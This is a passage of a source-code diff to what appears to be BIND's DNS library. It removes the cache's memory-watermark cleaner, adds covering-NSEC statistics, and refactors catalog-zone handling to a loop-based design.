-		dns_dbiterator_destroy(&cleaner->iterator);
-	}
-
-	isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE, DNS_LOGMODULE_CACHE,
-		      ISC_LOG_DEBUG(1), "end cache cleaning, mem inuse %lu",
-		      (unsigned long)isc_mem_inuse(cleaner->cache->mctx));
-
-	cleaner->state = cleaner_s_idle;
-	cleaner->resched_event = event;
-}
-
-/*
- * This is called when the cache either surpasses its upper limit
- * or shrinks beyond its lower limit.
- */
-static void
-overmem_cleaning_action(isc_task_t *task, isc_event_t *event) {
-	cache_cleaner_t *cleaner = event->ev_arg;
-	bool want_cleaning = false;
-
-	UNUSED(task);
-
-	INSIST(task == cleaner->task);
-	INSIST(event->ev_type == DNS_EVENT_CACHEOVERMEM);
-	INSIST(cleaner->overmem_event == NULL);
-
-	isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE, DNS_LOGMODULE_CACHE,
-		      ISC_LOG_DEBUG(1),
-		      "overmem_cleaning_action called, "
-		      "overmem = %d, state = %d",
-		      cleaner->overmem, cleaner->state);
-
-	LOCK(&cleaner->lock);
-
-	if (cleaner->overmem) {
-		if (cleaner->state == cleaner_s_idle) {
-			want_cleaning = true;
-		}
-	} else {
-		if (cleaner->state == cleaner_s_busy) {
-			/*
-			 * end_cleaning() can't be called here because
-			 * then both cleaner->overmem_event and
-			 * cleaner->resched_event will point to this
-			 * event.  Set the state to done, and then
-			 * when the incremental_cleaning_action() event
-			 * is posted, it will handle the end_cleaning.
-			 */
-			cleaner->state = cleaner_s_done;
-		}
-	}
-
-	cleaner->overmem_event = event;
-
-	UNLOCK(&cleaner->lock);
-
-	if (want_cleaning) {
-		begin_cleaning(cleaner);
-	}
-}
-
-/*
- * Do incremental cleaning.
- */
-static void
-incremental_cleaning_action(isc_task_t *task, isc_event_t *event) {
-	cache_cleaner_t *cleaner = event->ev_arg;
-	isc_result_t result;
-	unsigned int n_names;
-	isc_time_t start;
-
-	UNUSED(task);
-
-	INSIST(task == cleaner->task);
-	INSIST(event->ev_type == DNS_EVENT_CACHECLEAN);
-
-	if (cleaner->state == cleaner_s_done) {
-		cleaner->state = cleaner_s_busy;
-		end_cleaning(cleaner, event);
-		LOCK(&cleaner->cache->lock);
-		LOCK(&cleaner->lock);
-		if (cleaner->replaceiterator) {
-			dns_dbiterator_destroy(&cleaner->iterator);
-			(void)dns_db_createiterator(cleaner->cache->db, false,
-						    &cleaner->iterator);
-			cleaner->replaceiterator = false;
-		}
-		UNLOCK(&cleaner->lock);
-		UNLOCK(&cleaner->cache->lock);
-		return;
-	}
-
-	INSIST(CLEANER_BUSY(cleaner));
-
-	n_names = cleaner->increment;
-
-	REQUIRE(DNS_DBITERATOR_VALID(cleaner->iterator));
-
-	isc_time_now(&start);
-	while (n_names-- > 0) {
-		dns_dbnode_t *node = NULL;
-
-		result = dns_dbiterator_current(cleaner->iterator, &node, NULL);
-		if (result != ISC_R_SUCCESS) {
-			UNEXPECTED_ERROR(__FILE__, __LINE__,
-					 "cache cleaner: "
-					 "dns_dbiterator_current() "
-					 "failed: %s",
-					 dns_result_totext(result));
-
-			end_cleaning(cleaner, event);
-			return;
-		}
-
-		/*
-		 * The node was not needed, but was required by
-		 * dns_dbiterator_current().  Give up its reference.
-		 */
-		dns_db_detachnode(cleaner->cache->db, &node);
-
-		/*
-		 * Step to the next node.
-		 */
-		result = dns_dbiterator_next(cleaner->iterator);
-
-		if (result != ISC_R_SUCCESS) {
-			/*
-			 * Either the end was reached (ISC_R_NOMORE) or
-			 * some error was signaled.  If the cache is still
-			 * overmem and no error was encountered,
-			 * keep trying to clean it, otherwise stop cleaning.
-			 */
-			if (result != ISC_R_NOMORE) {
-				UNEXPECTED_ERROR(__FILE__, __LINE__,
-						 "cache cleaner: "
-						 "dns_dbiterator_next() "
-						 "failed: %s",
-						 dns_result_totext(result));
-			} else if (cleaner->overmem) {
-				result =
-					dns_dbiterator_first(cleaner->iterator);
-				if (result == ISC_R_SUCCESS) {
-					isc_log_write(dns_lctx,
-						      DNS_LOGCATEGORY_DATABASE,
-						      DNS_LOGMODULE_CACHE,
-						      ISC_LOG_DEBUG(1),
-						      "cache cleaner: "
-						      "still overmem, "
-						      "reset and try again");
-					continue;
-				}
-			}
-
-			end_cleaning(cleaner, event);
-			return;
-		}
-	}
-
-	/*
-	 * We have successfully performed a cleaning increment but have
-	 * not gone through the entire cache.  Free the iterator locks
-	 * and reschedule another batch.  If it fails, just try to continue
-	 * anyway.
-	 */
-	result = dns_dbiterator_pause(cleaner->iterator);
-	RUNTIME_CHECK(result == ISC_R_SUCCESS);
-
-	isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE, DNS_LOGMODULE_CACHE,
-		      ISC_LOG_DEBUG(1),
-		      "cache cleaner: checked %u nodes, "
-		      "mem inuse %lu, sleeping",
-		      cleaner->increment,
-		      (unsigned long)isc_mem_inuse(cleaner->cache->mctx));
-
-	isc_task_send(task, &event);
-	INSIST(CLEANER_BUSY(cleaner));
-	return;
-}
-
-/*
- * Do immediate cleaning.
- */
-isc_result_t
-dns_cache_clean(dns_cache_t *cache, isc_stdtime_t now) {
-	isc_result_t result;
-	dns_dbiterator_t *iterator = NULL;
-
-	REQUIRE(VALID_CACHE(cache));
-
-	result = dns_db_createiterator(cache->db, 0, &iterator);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-
-	result = dns_dbiterator_first(iterator);
-
-	while (result == ISC_R_SUCCESS) {
-		dns_dbnode_t *node = NULL;
-		result = dns_dbiterator_current(iterator, &node,
-						(dns_name_t *)NULL);
-		if (result != ISC_R_SUCCESS) {
-			break;
-		}
-
-		/*
-		 * Check TTLs, mark expired rdatasets stale.
-		 */
-		result = dns_db_expirenode(cache->db, node, now);
-		if (result != ISC_R_SUCCESS) {
-			UNEXPECTED_ERROR(__FILE__, __LINE__,
-					 "cache cleaner: dns_db_expirenode() "
-					 "failed: %s",
-					 dns_result_totext(result));
-			/*
-			 * Continue anyway.
-			 */
-		}
-
-		/*
-		 * This is where the actual freeing takes place.
-		 */
-		dns_db_detachnode(cache->db, &node);
-
-		result = dns_dbiterator_next(iterator);
-	}
-
-	dns_dbiterator_destroy(&iterator);
-
-	if (result == ISC_R_NOMORE) {
-		result = ISC_R_SUCCESS;
-	}
-
-	return (result);
-}
-
-static void
-water(void *arg, int mark) {
-	dns_cache_t *cache = arg;
-	bool overmem = (mark == ISC_MEM_HIWATER);
-
-	REQUIRE(VALID_CACHE(cache));
-
-	LOCK(&cache->cleaner.lock);
-
-	if (overmem != cache->cleaner.overmem) {
-		dns_db_overmem(cache->db, overmem);
-		cache->cleaner.overmem = overmem;
-		isc_mem_waterack(cache->mctx, mark);
-	}
-
-	if (cache->cleaner.overmem_event != NULL) {
-		isc_task_send(cache->cleaner.task,
-			      &cache->cleaner.overmem_event);
-	}
-
-	UNLOCK(&cache->cleaner.lock);
-}
-
 void
 dns_cache_setcachesize(dns_cache_t *cache, size_t size) {
-	size_t hiwater, lowater;
-
 	REQUIRE(VALID_CACHE(cache));
 
 	/*
@@ -935,30 +254,6 @@ dns_cache_setcachesize(dns_cache_t *cache, size_t size) {
 	LOCK(&cache->lock);
 	cache->size = size;
 	UNLOCK(&cache->lock);
-
-	hiwater = size - (size >> 3); /* Approximately 7/8ths. */
-	lowater = size - (size >> 2); /* Approximately 3/4ths. */
-
-	/*
-	 * If the cache was overmem and cleaning, but now with the new limits
-	 * it is no longer in an overmem condition, then the next
-	 * isc_mem_put for cache memory will do the right thing and trigger
-	 * water().
-	 */
-
-	if (size == 0U || hiwater == 0U || lowater == 0U) {
-		/*
-		 * Disable cache memory limiting.
-		 */
-		isc_mem_setwater(cache->mctx, water, cache, 0, 0);
-	} else {
-		/*
-		 * Establish new cache memory limits (either for the first
-		 * time, or replacing other limits).
-		 */
-		isc_mem_setwater(cache->mctx, water, cache, hiwater, lowater);
-		dns_db_adjusthashsize(cache->db, size);
-	}
 }
 
 size_t
@@ -1022,36 +317,9 @@ dns_cache_getservestalerefresh(dns_cache_t *cache) {
 	return (result == ISC_R_SUCCESS ? interval : 0);
 }
 
-/*
- * The cleaner task is shutting down; do the necessary cleanup.
- */
-static void
-cleaner_shutdown_action(isc_task_t *task, isc_event_t *event) {
-	dns_cache_t *cache = event->ev_arg;
-
-	UNUSED(task);
-
-	INSIST(task == cache->cleaner.task);
-	INSIST(event->ev_type == ISC_TASKEVENT_SHUTDOWN);
-
-	if (CLEANER_BUSY(&cache->cleaner)) {
-		end_cleaning(&cache->cleaner, event);
-	} else {
-		isc_event_free(&event);
-	}
-
-	/* Make sure we don't reschedule anymore. */
-	(void)isc_task_purge(task, NULL, DNS_EVENT_CACHECLEAN, NULL);
-
-	isc_refcount_decrementz(&cache->live_tasks);
-
-	cache_free(cache);
-}
-
 isc_result_t
 dns_cache_flush(dns_cache_t *cache) {
 	dns_db_t *db = NULL, *olddb;
-	dns_dbiterator_t *dbiterator = NULL, *olddbiterator = NULL;
 	isc_result_t result;
 
 	result = cache_create_db(cache, &db);
@@ -1059,36 +327,12 @@ dns_cache_flush(dns_cache_t *cache) {
 		return (result);
 	}
 
-	result = dns_db_createiterator(db, false, &dbiterator);
-	if (result != ISC_R_SUCCESS) {
-		dns_db_detach(&db);
-		return (result);
-	}
-
 	LOCK(&cache->lock);
-	LOCK(&cache->cleaner.lock);
-	if (cache->cleaner.state == cleaner_s_idle) {
-		olddbiterator = cache->cleaner.iterator;
-		cache->cleaner.iterator = dbiterator;
-		dbiterator = NULL;
-	} else {
-		if (cache->cleaner.state == cleaner_s_busy) {
-			cache->cleaner.state = cleaner_s_done;
-		}
-		cache->cleaner.replaceiterator = true;
-	}
 	olddb = cache->db;
 	cache->db = db;
 	dns_db_setcachestats(cache->db, cache->stats);
-	UNLOCK(&cache->cleaner.lock);
 	UNLOCK(&cache->lock);
 
-	if (dbiterator != NULL) {
-		dns_dbiterator_destroy(&dbiterator);
-	}
-	if (olddbiterator != NULL) {
-		dns_dbiterator_destroy(&olddbiterator);
-	}
 	dns_db_detach(&olddb);
 
 	return (ISC_R_SUCCESS);
@@ -1099,7 +343,8 @@ clearnode(dns_db_t *db, dns_dbnode_t *node) {
 	isc_result_t result;
 	dns_rdatasetiter_t *iter = NULL;
 
-	result = dns_db_allrdatasets(db, node, NULL, (isc_stdtime_t)0, &iter);
+	result = dns_db_allrdatasets(db, node, NULL, DNS_DB_STALEOK,
+				     (isc_stdtime_t)0, &iter);
 	if (result != ISC_R_SUCCESS) {
 		return (result);
 	}
@@ -1267,6 +512,7 @@ dns_cache_updatestats(dns_cache_t *cache, isc_result_t result) {
 	case DNS_R_DNAME:
 	case DNS_R_GLUE:
 	case DNS_R_ZONECUT:
+	case DNS_R_COVERINGNSEC:
 		isc_stats_increment(cache->stats,
 				    dns_cachestatscounter_queryhits);
 		break;
@@ -1339,26 +585,21 @@ dns_cache_dumpstats(dns_cache_t *cache, FILE *fp) {
 	fprintf(fp, "%20" PRIu64 " %s\n",
 		values[dns_cachestatscounter_deletettl],
 		"cache records deleted due to TTL expiration");
-	fprintf(fp, "%20u %s\n", dns_db_nodecount(cache->db),
+	fprintf(fp, "%20" PRIu64 " %s\n",
+		values[dns_cachestatscounter_coveringnsec],
+		"covering nsec returned");
+	fprintf(fp, "%20u %s\n", dns_db_nodecount(cache->db, dns_dbtree_main),
 		"cache database nodes");
+	fprintf(fp, "%20u %s\n", dns_db_nodecount(cache->db, dns_dbtree_nsec),
+		"cache NSEC auxiliary database nodes");
 	fprintf(fp, "%20" PRIu64 " %s\n", (uint64_t)dns_db_hashsize(cache->db),
 		"cache database hash buckets");
 
-	fprintf(fp, "%20" PRIu64 " %s\n", (uint64_t)isc_mem_total(cache->mctx),
-		"cache tree memory total");
 	fprintf(fp, "%20" PRIu64 " %s\n", (uint64_t)isc_mem_inuse(cache->mctx),
 		"cache tree memory in use");
-	fprintf(fp, "%20" PRIu64 " %s\n",
-		(uint64_t)isc_mem_maxinuse(cache->mctx),
-		"cache tree highest memory in use");
 
-	fprintf(fp, "%20" PRIu64 " %s\n", (uint64_t)isc_mem_total(cache->hmctx),
-		"cache heap memory total");
 	fprintf(fp, "%20" PRIu64 " %s\n", (uint64_t)isc_mem_inuse(cache->hmctx),
 		"cache heap memory in use");
-	fprintf(fp, "%20" PRIu64 " %s\n",
-		(uint64_t)isc_mem_maxinuse(cache->hmctx),
-		"cache heap highest memory in use");
 }
 
 #ifdef HAVE_LIBXML2
@@ -1405,17 +646,18 @@ dns_cache_renderxml(dns_cache_t *cache, void *writer0) {
 			writer));
 	TRY0(renderstat("DeleteTTL", values[dns_cachestatscounter_deletettl],
 			writer));
+	TRY0(renderstat("CoveringNSEC",
+			values[dns_cachestatscounter_coveringnsec], writer));
 
-	TRY0(renderstat("CacheNodes", dns_db_nodecount(cache->db), writer));
+	TRY0(renderstat("CacheNodes",
+			dns_db_nodecount(cache->db, dns_dbtree_main), writer));
+	TRY0(renderstat("CacheNSECNodes",
+			dns_db_nodecount(cache->db, dns_dbtree_nsec), writer));
 	TRY0(renderstat("CacheBuckets", dns_db_hashsize(cache->db), writer));
 
-	TRY0(renderstat("TreeMemTotal", isc_mem_total(cache->mctx), writer));
 	TRY0(renderstat("TreeMemInUse", isc_mem_inuse(cache->mctx), writer));
-	TRY0(renderstat("TreeMemMax", isc_mem_maxinuse(cache->mctx), writer));
 
-	TRY0(renderstat("HeapMemTotal", isc_mem_total(cache->hmctx), writer));
 	TRY0(renderstat("HeapMemInUse", isc_mem_inuse(cache->hmctx), writer));
-	TRY0(renderstat("HeapMemMax", isc_mem_maxinuse(cache->hmctx), writer));
 error:
 	return (xmlrc);
 }
@@ -1467,38 +709,32 @@ dns_cache_renderjson(dns_cache_t *cache, void *cstats0) {
 	CHECKMEM(obj);
 	json_object_object_add(cstats, "DeleteTTL", obj);
 
-	obj = json_object_new_int64(dns_db_nodecount(cache->db));
+	obj = json_object_new_int64(values[dns_cachestatscounter_coveringnsec]);
+	CHECKMEM(obj);
+	json_object_object_add(cstats, "CoveringNSEC", obj);
+
+	obj = json_object_new_int64(
+		dns_db_nodecount(cache->db, dns_dbtree_main));
 	CHECKMEM(obj);
 	json_object_object_add(cstats, "CacheNodes", obj);
 
-	obj = json_object_new_int64(dns_db_hashsize(cache->db));
+	obj = json_object_new_int64(
+		dns_db_nodecount(cache->db, dns_dbtree_nsec));
 	CHECKMEM(obj);
-	json_object_object_add(cstats, "CacheBuckets", obj);
+	json_object_object_add(cstats, "CacheNSECNodes", obj);
 
-	obj = json_object_new_int64(isc_mem_total(cache->mctx));
+	obj = json_object_new_int64(dns_db_hashsize(cache->db));
 	CHECKMEM(obj);
-	json_object_object_add(cstats, "TreeMemTotal", obj);
+	json_object_object_add(cstats, "CacheBuckets", obj);
 
 	obj = json_object_new_int64(isc_mem_inuse(cache->mctx));
 	CHECKMEM(obj);
 	json_object_object_add(cstats, "TreeMemInUse", obj);
 
-	obj = json_object_new_int64(isc_mem_maxinuse(cache->mctx));
-	CHECKMEM(obj);
-	json_object_object_add(cstats, "TreeMemMax", obj);
-
-	obj = json_object_new_int64(isc_mem_total(cache->hmctx));
-	CHECKMEM(obj);
-	json_object_object_add(cstats, "HeapMemTotal", obj);
-
 	obj = json_object_new_int64(isc_mem_inuse(cache->hmctx));
 	CHECKMEM(obj);
 	json_object_object_add(cstats, "HeapMemInUse", obj);
 
-	obj = json_object_new_int64(isc_mem_maxinuse(cache->hmctx));
-	CHECKMEM(obj);
-	json_object_object_add(cstats, "HeapMemMax", obj);
-
 	result = ISC_R_SUCCESS;
 error:
 	return (result);
diff --git a/lib/dns/callbacks.c b/lib/dns/callbacks.c
index ef1b29c45d..34ad8fdf92 100644
--- a/lib/dns/callbacks.c
+++ b/lib/dns/callbacks.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -11,7 +13,6 @@
 
 /*! \file */
 
-#include <isc/print.h>
 #include <isc/util.h>
 
 #include <dns/callbacks.h>
diff --git a/lib/dns/catz.c b/lib/dns/catz.c
index 41402dd3d1..26be1ec9e1 100644
--- a/lib/dns/catz.c
+++ b/lib/dns/catz.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -13,19 +15,21 @@
 
 #include <inttypes.h>
 #include <stdbool.h>
+#include <stdint.h>
+#include <stdlib.h>
 
+#include <isc/async.h>
 #include <isc/hex.h>
+#include <isc/loop.h>
 #include <isc/md.h>
 #include <isc/mem.h>
 #include <isc/parseint.h>
-#include <isc/print.h>
 #include <isc/result.h>
-#include <isc/task.h>
 #include <isc/util.h>
+#include <isc/work.h>
 
 #include <dns/catz.h>
 #include <dns/dbiterator.h>
-#include <dns/events.h>
 #include <dns/rdatasetiter.h>
 #include <dns/view.h>
 #include <dns/zone.h>
@@ -33,10 +37,23 @@
 #define DNS_CATZ_ZONE_MAGIC  ISC_MAGIC('c', 'a', 't', 'z')
 #define DNS_CATZ_ZONES_MAGIC ISC_MAGIC('c', 'a', 't', 's')
 #define DNS_CATZ_ENTRY_MAGIC ISC_MAGIC('c', 'a', 't', 'e')
+#define DNS_CATZ_COO_MAGIC   ISC_MAGIC('c', 'a', 't', 'c')
 
 #define DNS_CATZ_ZONE_VALID(catz)   ISC_MAGIC_VALID(catz, DNS_CATZ_ZONE_MAGIC)
 #define DNS_CATZ_ZONES_VALID(catzs) ISC_MAGIC_VALID(catzs, DNS_CATZ_ZONES_MAGIC)
 #define DNS_CATZ_ENTRY_VALID(entry) ISC_MAGIC_VALID(entry, DNS_CATZ_ENTRY_MAGIC)
+#define DNS_CATZ_COO_VALID(coo)	    ISC_MAGIC_VALID(coo, DNS_CATZ_COO_MAGIC)
+
+#define DNS_CATZ_VERSION_UNDEFINED ((uint32_t)(-1))
+
+/*%
+ * Change of ownership permissions
+ */
+struct dns_catz_coo {
+	unsigned int magic;
+	dns_name_t name;
+	isc_refcount_t references;
+};
 
 /*%
  * Single member zone in a catalog
@@ -45,7 +62,7 @@ struct dns_catz_entry {
 	unsigned int magic;
 	dns_name_t name;
 	dns_catz_options_t opts;
-	isc_refcount_t refs;
+	isc_refcount_t references;
 };
 
 /*%
@@ -53,11 +70,16 @@ struct dns_catz_entry {
  */
 struct dns_catz_zone {
 	unsigned int magic;
+	isc_loop_t *loop;
 	dns_name_t name;
 	dns_catz_zones_t *catzs;
 	dns_rdata_t soa;
+	uint32_t version;
 	/* key in entries is 'mhash', not domain name! */
 	isc_ht_t *entries;
+	/* key in coos is domain name */
+	isc_ht_t *coos;
+
 	/*
 	 * defoptions are taken from named.conf
 	 * zoneoptions are global options from zone
@@ -65,27 +87,47 @@ struct dns_catz_zone {
 	dns_catz_options_t defoptions;
 	dns_catz_options_t zoneoptions;
 	isc_time_t lastupdated;
-	bool updatepending;
-	uint32_t version;
 
-	dns_db_t *db;
-	dns_dbversion_t *dbversion;
+	bool updatepending;	      /* there is an update pending */
+	bool updaterunning;	      /* there is an update running */
+	isc_result_t updateresult;    /* result from the offloaded work */
+	dns_db_t *db;		      /* zones database */
+	dns_dbversion_t *dbversion;   /* version we will be updating to */
+	dns_db_t *updb;		      /* zones database we're working on */
+	dns_dbversion_t *updbversion; /* version we're working on */
 
 	isc_timer_t *updatetimer;
-	isc_event_t updateevent;
 
 	bool active;
-	bool db_registered;
+	bool broken;
 
-	isc_refcount_t refs;
+	isc_refcount_t references;
+	isc_mutex_t lock;
 };
 
+static void
+dns__catz_timer_cb(void *);
+static void
+dns__catz_timer_start(dns_catz_zone_t *catz);
+static void
+dns__catz_timer_stop(void *arg);
+
+static void
+dns__catz_update_cb(void *data);
+static void
+dns__catz_done_cb(void *data);
+
 static isc_result_t
-catz_process_zones_entry(dns_catz_zone_t *zone, dns_rdataset_t *value,
+catz_process_zones_entry(dns_catz_zone_t *catz, dns_rdataset_t *value,
 			 dns_label_t *mhash);
 static isc_result_t
-catz_process_zones_suboption(dns_catz_zone_t *zone, dns_rdataset_t *value,
+catz_process_zones_suboption(dns_catz_zone_t *catz, dns_rdataset_t *value,
 			     dns_label_t *mhash, dns_name_t *name);
+static void
+catz_entry_add_or_mod(dns_catz_zone_t *catz, isc_ht_t *ht, unsigned char *key,
+		      size_t keysize, dns_catz_entry_t *nentry,
+		      dns_catz_entry_t *oentry, const char *msg,
+		      const char *zname, const char *czname);
 
 /*%
  * Collection of catalog zones for a view
@@ -94,13 +136,12 @@ struct dns_catz_zones {
 	unsigned int magic;
 	isc_ht_t *zones;
 	isc_mem_t *mctx;
-	isc_refcount_t refs;
+	isc_refcount_t references;
 	isc_mutex_t lock;
 	dns_catz_zonemodmethods_t *zmm;
-	isc_taskmgr_t *taskmgr;
-	isc_timermgr_t *timermgr;
+	isc_loopmgr_t *loopmgr;
 	dns_view_t *view;
-	isc_task_t *updater;
+	atomic_bool shuttingdown;
 };
 
 void
@@ -140,7 +181,7 @@ dns_catz_options_free(dns_catz_options_t *options, isc_mem_t *mctx) {
 	}
 }
 
-isc_result_t
+void
 dns_catz_options_copy(isc_mem_t *mctx, const dns_catz_options_t *src,
 		      dns_catz_options_t *dst) {
 	REQUIRE(mctx != NULL);
@@ -170,11 +211,9 @@ dns_catz_options_copy(isc_mem_t *mctx, const dns_catz_options_t *src,
 	if (src->allow_transfer != NULL) {
 		isc_buffer_dup(mctx, &dst->allow_transfer, src->allow_transfer);
 	}
-
-	return (ISC_R_SUCCESS);
 }
 
-isc_result_t
+void
 dns_catz_options_setdefault(isc_mem_t *mctx, const dns_catz_options_t *defaults,
 			    dns_catz_options_t *opts) {
 	REQUIRE(mctx != NULL);
@@ -199,18 +238,71 @@ dns_catz_options_setdefault(isc_mem_t *mctx, const dns_catz_options_t *defaults,
 
 	/* This option is always taken from config, so it's always 'default' */
 	opts->in_memory = defaults->in_memory;
-	return (ISC_R_SUCCESS);
 }
 
-isc_result_t
-dns_catz_entry_new(isc_mem_t *mctx, const dns_name_t *domain,
-		   dns_catz_entry_t **nentryp) {
-	dns_catz_entry_t *nentry;
+static dns_catz_coo_t *
+catz_coo_new(isc_mem_t *mctx, const dns_name_t *domain) {
+	REQUIRE(mctx != NULL);
+	REQUIRE(domain != NULL);
+
+	dns_catz_coo_t *ncoo = isc_mem_get(mctx, sizeof(*ncoo));
+	*ncoo = (dns_catz_coo_t){
+		.magic = DNS_CATZ_COO_MAGIC,
+	};
+	dns_name_init(&ncoo->name, NULL);
+	dns_name_dup(domain, mctx, &ncoo->name);
+	isc_refcount_init(&ncoo->references, 1);
+
+	return (ncoo);
+}
+
+static void
+catz_coo_detach(dns_catz_zone_t *catz, dns_catz_coo_t **coop) {
+	dns_catz_coo_t *coo;
+
+	REQUIRE(DNS_CATZ_ZONE_VALID(catz));
+	REQUIRE(coop != NULL && DNS_CATZ_COO_VALID(*coop));
+	coo = *coop;
+	*coop = NULL;
+
+	if (isc_refcount_decrement(&coo->references) == 1) {
+		isc_mem_t *mctx = catz->catzs->mctx;
+		coo->magic = 0;
+		isc_refcount_destroy(&coo->references);
+		if (dns_name_dynamic(&coo->name)) {
+			dns_name_free(&coo->name, mctx);
+		}
+		isc_mem_put(mctx, coo, sizeof(*coo));
+	}
+}
+
+static void
+catz_coo_add(dns_catz_zone_t *catz, dns_catz_entry_t *entry,
+	     const dns_name_t *domain) {
+	REQUIRE(DNS_CATZ_ZONE_VALID(catz));
+	REQUIRE(DNS_CATZ_ENTRY_VALID(entry));
+	REQUIRE(domain != NULL);
+
+	/* We are write locked, so the add must succeed if not found */
+	dns_catz_coo_t *coo = NULL;
+	isc_result_t result = isc_ht_find(catz->coos, entry->name.ndata,
+					  entry->name.length, (void **)&coo);
+	if (result != ISC_R_SUCCESS) {
+		coo = catz_coo_new(catz->catzs->mctx, domain);
+		result = isc_ht_add(catz->coos, entry->name.ndata,
+				    entry->name.length, coo);
+	}
+	INSIST(result == ISC_R_SUCCESS);
+}
 
+dns_catz_entry_t *
+dns_catz_entry_new(isc_mem_t *mctx, const dns_name_t *domain) {
 	REQUIRE(mctx != NULL);
-	REQUIRE(nentryp != NULL && *nentryp == NULL);
 
-	nentry = isc_mem_get(mctx, sizeof(dns_catz_entry_t));
+	dns_catz_entry_t *nentry = isc_mem_get(mctx, sizeof(*nentry));
+	*nentry = (dns_catz_entry_t){
+		.magic = DNS_CATZ_ENTRY_MAGIC,
+	};
 
 	dns_name_init(&nentry->name, NULL);
 	if (domain != NULL) {
@@ -218,10 +310,9 @@ dns_catz_entry_new(isc_mem_t *mctx, const dns_name_t *domain,
 	}
 
 	dns_catz_options_init(&nentry->opts);
-	isc_refcount_init(&nentry->refs, 1);
-	nentry->magic = DNS_CATZ_ENTRY_MAGIC;
-	*nentryp = nentry;
-	return (ISC_R_SUCCESS);
+	isc_refcount_init(&nentry->references, 1);
+
+	return (nentry);
 }
 
 dns_name_t *
@@ -230,29 +321,17 @@ dns_catz_entry_getname(dns_catz_entry_t *entry) {
 	return (&entry->name);
 }
 
-isc_result_t
-dns_catz_entry_copy(dns_catz_zone_t *zone, const dns_catz_entry_t *entry,
-		    dns_catz_entry_t **nentryp) {
-	isc_result_t result;
-	dns_catz_entry_t *nentry = NULL;
-
-	REQUIRE(DNS_CATZ_ZONE_VALID(zone));
+dns_catz_entry_t *
+dns_catz_entry_copy(dns_catz_zone_t *catz, const dns_catz_entry_t *entry) {
+	REQUIRE(DNS_CATZ_ZONE_VALID(catz));
 	REQUIRE(DNS_CATZ_ENTRY_VALID(entry));
-	REQUIRE(nentryp != NULL && *nentryp == NULL);
 
-	result = dns_catz_entry_new(zone->catzs->mctx, &entry->name, &nentry);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
+	dns_catz_entry_t *nentry = dns_catz_entry_new(catz->catzs->mctx,
+						      &entry->name);
 
-	result = dns_catz_options_copy(zone->catzs->mctx, &entry->opts,
-				       &nentry->opts);
-	if (result != ISC_R_SUCCESS) {
-		dns_catz_entry_detach(zone, &nentry);
-	}
+	dns_catz_options_copy(catz->catzs->mctx, &entry->opts, &nentry->opts);
 
-	*nentryp = nentry;
-	return (result);
+	return (nentry);
 }
 
 void
@@ -260,29 +339,28 @@ dns_catz_entry_attach(dns_catz_entry_t *entry, dns_catz_entry_t **entryp) {
 	REQUIRE(DNS_CATZ_ENTRY_VALID(entry));
 	REQUIRE(entryp != NULL && *entryp == NULL);
 
-	isc_refcount_increment(&entry->refs);
+	isc_refcount_increment(&entry->references);
 	*entryp = entry;
 }
 
 void
-dns_catz_entry_detach(dns_catz_zone_t *zone, dns_catz_entry_t **entryp) {
+dns_catz_entry_detach(dns_catz_zone_t *catz, dns_catz_entry_t **entryp) {
 	dns_catz_entry_t *entry;
 
-	REQUIRE(DNS_CATZ_ZONE_VALID(zone));
-	REQUIRE(entryp != NULL);
+	REQUIRE(DNS_CATZ_ZONE_VALID(catz));
+	REQUIRE(entryp != NULL && DNS_CATZ_ENTRY_VALID(*entryp));
 	entry = *entryp;
 	*entryp = NULL;
-	REQUIRE(DNS_CATZ_ENTRY_VALID(entry));
 
-	if (isc_refcount_decrement(&entry->refs) == 1) {
-		isc_mem_t *mctx = zone->catzs->mctx;
+	if (isc_refcount_decrement(&entry->references) == 1) {
+		isc_mem_t *mctx = catz->catzs->mctx;
 		entry->magic = 0;
-		isc_refcount_destroy(&entry->refs);
+		isc_refcount_destroy(&entry->references);
 		dns_catz_options_free(&entry->opts, mctx);
 		if (dns_name_dynamic(&entry->name)) {
 			dns_name_free(&entry->name, mctx);
 		}
-		isc_mem_put(mctx, entry, sizeof(dns_catz_entry_t));
+		isc_mem_put(mctx, entry, sizeof(*entry));
 	}
 }
 
@@ -315,6 +393,38 @@ dns_catz_entry_cmp(const dns_catz_entry_t *ea, const dns_catz_entry_t *eb) {
 		return (false);
 	}
 
+	for (size_t i = 0; i < eb->opts.masters.count; i++) {
+		if ((ea->opts.masters.keys[i] == NULL) !=
+		    (eb->opts.masters.keys[i] == NULL))
+		{
+			return (false);
+		}
+		if (ea->opts.masters.keys[i] == NULL) {
+			continue;
+		}
+		if (!dns_name_equal(ea->opts.masters.keys[i],
+				    eb->opts.masters.keys[i]))
+		{
+			return (false);
+		}
+	}
+
+	for (size_t i = 0; i < eb->opts.masters.count; i++) {
+		if ((ea->opts.masters.tlss[i] == NULL) !=
+		    (eb->opts.masters.tlss[i] == NULL))
+		{
+			return (false);
+		}
+		if (ea->opts.masters.tlss[i] == NULL) {
+			continue;
+		}
+		if (!dns_name_equal(ea->opts.masters.tlss[i],
+				    eb->opts.masters.tlss[i]))
+		{
+			return (false);
+		}
+	}
+
 	/* If one is NULL and the other isn't, the entries don't match */
 	if ((ea->opts.allow_query == NULL) != (eb->opts.allow_query == NULL)) {
 		return (false);
@@ -331,7 +441,8 @@ dns_catz_entry_cmp(const dns_catz_entry_t *ea, const dns_catz_entry_t *eb) {
 
 	/* Repeat the above checks with allow_transfer */
 	if ((ea->opts.allow_transfer == NULL) !=
-	    (eb->opts.allow_transfer == NULL)) {
+	    (eb->opts.allow_transfer == NULL))
+	{
 		return (false);
 	}
 
@@ -343,34 +454,42 @@ dns_catz_entry_cmp(const dns_catz_entry_t *ea, const dns_catz_entry_t *eb) {
 		}
 	}
 
